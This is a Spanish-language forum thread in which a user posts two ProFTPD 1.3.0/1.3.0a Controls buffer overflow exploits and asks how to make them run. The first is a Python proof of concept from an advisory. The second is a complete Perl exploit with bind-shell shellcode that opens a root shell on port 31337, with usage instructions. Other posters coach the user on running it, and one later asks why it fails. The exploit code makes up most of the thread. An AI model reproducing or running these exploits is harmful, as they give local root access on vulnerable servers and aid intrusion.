donde consigo la libreria

[jessik]

donde puedo bajarme la libreria tengo este tipo de exploit


 #  ----------------------------------------------------
 #    Core Security Technologies - Corelabs Advisory
 #    ProFTPD Controls buffer overflow

 import socket
 import os, os.path,stat

 #This works with default proftpd 1.3.0a compiled with gcc 4.1.2 (ubuntu edgy)
 #
 ctrlSocket = "/tmp/ctrls.sock"
 mySocket = "/tmp/notused.sock"
 canary = "\0\0\x0a\xff"
 trampoline = "\x77\xe7\xff\xff" # jmp ESP on vdso
 shellcode = "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc" # inocuous "int 3"

 #Build Payload. The format on the stack is:
 #
 #AAAA = EBX BBBB = ESI CCCC = EDI DDDD = EBP EEEE = EIP
 payload = ("A"*512) + canary + "AAAABBBBCCCCDD DD" + trampoline + shellcode

 #Setup socket
 #
 if os.path.exists(mySocket):
         os.remove(mySocket)
 s = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
 s.bind(mySocket)
 os.chmod(mySocket,stat.S_IRWXU)
 s.connect(ctrlSocket)

 #Send payload
 #
 s.send("\1\0\0\0")
 s.send("\1\0\0\0")
 l = len(payload)
 s.send(chr(l & 255)+chr((l/255) & 255)+"\0\0")
 s.send(payload)

 #Finished
 #
 s.close()

[jessik]

perdon esa no es el codigo este es el codigo de mi vulnerabilidad y quisiera descargar la libreria porq no me coopila tambien quiero saber donde inserto la libreria

#!/usr/bin/perl -w
 #
 # $Id: revenge_proftp d_ctrls_24.pl, v1.0 2007/02/18 19:24:22 revenge Exp $
 #
 # ProFTPD v1.3.0/1.3.0a Controls Buffer Overflow Exploit
 # [Old style school sploit against gcc 3.x and linux kernel 2.4]
 #
 # Original Advisory :
 # 
Para ver este enlace Registrate o Inicia Sesion
 #
 # [ Exploitation condition ]
 # - proftpd must be compiled with --enable-ctrls option
 # - local user needs permission to connect through unix socket (from proftpd.conf)
 #
 # This one works for 2.4 exploitation against gcc 3.x
 # Payload will bind /bin/sh on port 31337 with ( uid && gid = 0 )
 # I was able to use only a <bind_shell> as payload since a normal setuid + execve seems that doesn't work
 #
 # Tested against:
 # - ProFTPD 1.3.0/1.3.0a on Slackware 11.0 compiled with gcc 3.4.6
 # *** Against v1.3.0a -- server *could* remain up (in a Denial of Service condition) without binding shell
 #
 # revenge@darklight~$ ./revenge_proftpd_ctrls_24.pl /usr/local/var/proftpd/proftpd.sock 1
 # [ wait some secs then nc on port 31337 ]
 # anyone@anywhere:~$ nc <host> 31337
 # id
 # uid=0(root) gid=0(root) groups=50(ftp)
 # exit
 # [ after that server will deactivate ]
 #
 # Alfredo "revenge" Pesoli
 #
 #
Para ver este enlace Registrate o Inicia Sesion
 # <revenge@0xcafebabe.it>
#

use strict;
use Socket;

if ( @ARGV < 2 ) { &usage(); }

my $hellcode =
# *** Generated with libShellCode
# setuid(0) + setgid(0) + bind(/bin/sh) on port 31337
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80".
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80".
"\x89\xc7\x31\xc9\x66\xb9\x7a\x69\x52\x66\x51\x43\x66\x53\x89\xe1".
"\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd".
"\x80\x31\xc0\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3".
"\x89\xd9\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\xeb\x18\x5e\x31\xc0\x88".
"\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d".
"\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

my $rsock   = shift;
my $tn      = shift;

my $ret;
my $nop = "\x90"x200;

use constant LSOCK  => '/tmp/tmp.sock';

my %targets = (
   '1' => "\x55\xef\xff\xbf" # Slackware 11.0
   # Add here your target RET
);

my %tname = (
   '1' => "Slackware 11.0"
);

$ret = $targets{$tn};

my $buffer = $nop.$hellcode.("$ret"x70);
my $l = length($buffer);

socket (SOCK, PF_UNIX, SOCK_STREAM, 0)  or die "Unable to create socket : $!";
my $rfile = sockaddr_un($rsock);

unlink LSOCK;
my $lfile = sockaddr_un(LSOCK);

bind (SOCK, $lfile) or die "Unable to bind to $lfile";
chmod (00700, LSOCK);

connect (SOCK, $rfile) or die "\nUnable to connect to ".$rsock."\nMaybe server is down or incorrect path\n\n";

print "\n Request length => ".$l."\n";
print " Target => ".$tname{$tn}."\n";

send SOCK, pack("s2", 0),0;
send SOCK, pack("s2", 1,0),0;
send SOCK, pack("C", 188).pack("C",2).pack("s1",0),0;
send SOCK, $buffer,0;

close SOCK;

print "\n

• Request sent - try to connect on port 31337\n\n";

sub usage() {
   print "\n ProFTPD 1.3.0/1.3.0a Controls Buffer Overflow [ Old Style school ]\n";
   print " Alfredo \"revenge\" Pesoli\n";
   print " <revenge\@0xcafebabe.it>\n\n";
   print "Usage : $0 <path_to_unix_s ocket> <targets>\n";
   print "   Ex : $0 /usr/local/var/proftpd/proftpd.sock 1\n";
   print "\n Available Targets :\n";
   print "  1 => 0xbfffef55 (Slackware 11.0)\n\n";
   exit();
}

[CiberPunk]

Hola no soy programador en Perl, pero no me resisti en responder :]

Pues primero que nada debes de tener Linux.
Las librerias a que te referis en si no las veo:

Código:

use strict;
use Socket;

Ahi se declaran modulos, librerias pero los que figuran ahi son standar.
Solo lo unico que necesitas es interpretarla (es  interpretado no compilado)

Mas ayuda.
En los comentarios del codigo:

Código:

# revenge@darklight~$ ./revenge_proftpd_ctrls_24.pl /usr/local/var/proftpd/proftpd.sock 1
 # [ wait some secs then nc on port 31337 ]
 # anyone@anywhere:~$ nc <host> 31337
 # id
 # uid=0(root) gid=0(root) groups=50(ftp)

[jhonmaclaine]

Hola amigos, a la vista de la captura de abajo, ¿podría alguien decirme que es lo que estoy haciendo mal?



Saludos!!!

[0zX]

Hola amigos, a la vista de la captura de abajo, ¿podría alguien decirme que es lo que estoy haciendo mal?



Saludos!!!

me parece q es local. el exploit.